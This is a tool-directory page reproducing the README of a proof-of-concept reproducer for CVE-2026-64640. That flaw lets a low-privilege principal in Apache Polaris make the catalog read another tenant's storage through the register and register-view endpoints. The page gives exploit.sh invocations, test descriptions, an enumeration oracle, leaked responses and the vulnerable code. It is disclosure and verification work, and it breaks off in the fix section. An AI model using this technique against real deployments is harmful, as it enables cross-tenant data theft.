Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-64640 — Reproducer for CVE-2026-64640 — Apache Polaris Iceberg REST register/register-view vends storage credentials and reads an attacker-chosen metadata location before validating allowedLocations (confused-deputy cross-tenant read). Affected ≤ 1.6.0, fixed in 1.7.0. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-64640
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration TestingCloud SecurityAPI Security
GitHuboscerd/cve-2026-64640

CVE-2026-64640

Reproducer for CVE-2026-64640 — Apache Polaris Iceberg REST register/register-view vends storage credentials and reads an attacker-chosen metadata location before validating allowedLocations (confused-deputy cross-tenant read). Affected ≤ 1.6.0, fixed in 1.7.0.

141 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-64640 — Apache Polaris: credential vending before location validation in register

A self-contained, one-command reproducer for CVE-2026-64640: the Iceberg REST register endpoints in Apache Polaris mint cloud storage credentials for a caller-supplied path and read that path server-side before checking it against the catalog's allowedLocations.

A principal whose only privilege is creating tables in its own catalog can make Polaris use the catalog's storage credentials to read objects the catalog was never allowed to touch — another tenant's prefix, another bucket, anything the storage principal can reach.

CVECVE-2026-64640
Componentpolaris-runtime-service — IcebergCatalog / LocalIcebergCatalog: registerTable, registerView
EndpointsPOST /api/catalog/v1/{prefix}/namespaces/{namespace}/register
POST /api/catalog/v1/{prefix}/namespaces/{namespace}/register-view (1.6.0+)
CWECWE-441 (confused deputy), CWE-639 (authorization bypass through user-controlled key), CWE-918 (SSRF)
SeverityHigh — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N (8.1)
Affected≤ 1.6.0 (verified on 1.3.0-incubating, 1.4.0, 1.4.1, 1.5.0, 1.6.0)
Fixed in1.7.0 — 1.6.0 fixes only the table path and reintroduces the flaw on the new view path
Privilege requiredone authenticated principal with TABLE_CREATE / CATALOG_MANAGE_CONTENT on any catalog — no admin

1.6.0 is not a fix. It closes register (incidentally, inside a feature PR) and ships the brand-new register-view endpoint with the same ordering mistake. The reproducer proves both halves. Upgrade to 1.7.0.

Run it

Requirements: Docker with the Compose v2 plugin, curl, python3, bash. Nothing else — the environment is built from published images and torn down afterwards.

./exploit.sh                 # default: apache/polaris:1.4.1  -> reproduces via register
./exploit.sh --tag 1.6.0     # partially fixed               -> reproduces via register-view
./exploit.sh --tag 1.7.0     # comprehensively fixed         -> refuses cleanly on both
./scripts/version-matrix.sh  # every release, side by side

Exit code 0 means the vulnerability reproduced, 1 means it did not, 2 means the environment failed to come up. Every request and response is written to evidence/<timestamp>-polaris-<tag>/.

What the environment looks like

  catalog  tenant_a_catalog        allowedLocations = [ s3://bucket123 ]
  actor    low_priv_user           CATALOG_MANAGE_CONTENT on that catalog, nothing else
  target   s3://tenant-b-private   another tenant's bucket:
                                     no allowedLocations entry, no grant, no relation
                                     to the attacker's catalog — but reachable by the
                                     credentials that back it

That last line is the realistic part. Operators scope a catalog with allowedLocations; the IAM role underneath is almost always broader than one prefix. allowedLocations is the wall. This bug walks around it.

What it proves

Test 0 — the wall is real. Creating a table with an explicit location in s3://tenant-b-private is refused with 403 ForbiddenException, before anything is read. Polaris knows perfectly well the location is out of bounds.

Test 1 — register reads it anyway. The same principal points register at s3://tenant-b-private/sales/metadata/00007-tenant-b-sales.metadata.json. The response is also a 403 — but it quotes s3://tenant-b-private/warehouse/CANARY-64640-4f1c9e2a-tenant-b-sales, a string that exists only inside the body of that object:

{"error":{"message":"Invalid locations '[s3://tenant-b-private/warehouse/sales/data,
s3://tenant-b-private/warehouse/CANARY-64640-4f1c9e2a-tenant-b-sales]' for identifier
'tenant_a_ns.pwn_canary': s3://tenant-b-private/warehouse/sales/data is not in the list
of allowed locations: [s3://bucket123/tenant_a_ns]","type":"ForbiddenException","code":403}}

The request never mentions warehouse/. Polaris could only produce those strings by fetching and parsing the object with the catalog's credentials. The 403 is Polaris catching the violation one step after the read it was supposed to prevent.

Test 2 — what comes back. Two distinct fields parsed out of the victim document are echoed to the caller: the table's declared location and its write.data.path property.

Test 3 — a storage enumeration oracle. The same call answers differently for every state of a target outside allowedLocations:

probe (all outside allowedLocations)1.4.1 response
valid Iceberg metadata, exists403 ForbiddenException + parsed locations echoed
key missing400 NotFoundException — Location does not exist: …
bucket does not exist400 NoSuchBucketException — raw S3 SDK error
exists but is not Iceberg metadata503 RuntimeIOException — Failed to read file: …

Four distinguishable answers means four facts about storage the caller has no right to learn. On real AWS the bucket-existence probe reaches the global S3 bucket namespace, using the catalog's credentials.

On a fixed build every row of that table is the same 403 naming only the requested path, and nothing from inside the object comes back — the script detects that signature and reports NOT VULNERABLE — pre-validation observed.

Test 4 — the same flaw on register-view. Polaris 1.6.0 added POST .../namespaces/{ns}/register-view, reaching registerView, which loads the FileIO and parses the caller's document with no prior validation — precisely what registerTable had just stopped doing. On 1.6.0 the view canary comes back:

{"error":{"message":"Invalid locations '[s3://tenant-b-private/warehouse/CANARY-64640-VIEW-8d3b7a15-tenant-b]'
for identifier 'tenant_a_ns.pwn_view': … is not in the list of allowed locations:
[s3://bucket123/tenant_a_ns]","type":"ForbiddenException","code":403}}

So a 1.6.0 deployment is still exposed, through a different endpoint, to the same primitive. On 1.4.1 and older the endpoint does not exist and the script says so.

Root cause

IcebergCatalog.registerTable (LocalIcebergCatalog from 1.6.0), before the fix — registerView has the identical shape:

String locationDir = metadataFileLocation.substring(0, lastSlashIndex);   // attacker-controlled
...
FileIO fileIO =
    loadFileIOForTableLike(
        identifier,
        Set.of(locationDir),                                              // credentials minted here
        resolvedParent,
        new HashMap<>(tableDefaultProperties),
        Set.of(PolarisStorageActions.READ, PolarisStorageActions.LIST));

InputFile metadataFile = fileIO.newInputFile(metadataFileLocation);       // server-side GET
TableMetadata metadata = TableMetadataParser.read(metadataFile);          // server-side parse
ops.commit(null, metadata);                                               // allowedLocations checked HERE

The vending chain (loadFileIOForTableLike → StorageAccessConfigProvider.getStorageAccessConfig → *StorageIntegration.getSubscopedCreds) performs no allowedLocations check of its own, so the only enforcement is the commit-time one — and by then the privileged read has happened and its result is in the response.

Sibling paths in the same file get the order right: view creation and sendNotificationForTableLike both validate before loading the FileIO. registerTable was the inconsistent one. Full walkthrough in docs/ANALYSIS.md.

The fix, in two parts

Table path — commit 1dd5feeb (2026-06-02, first released in 1.6.0) added one line in the right place:

Download Tool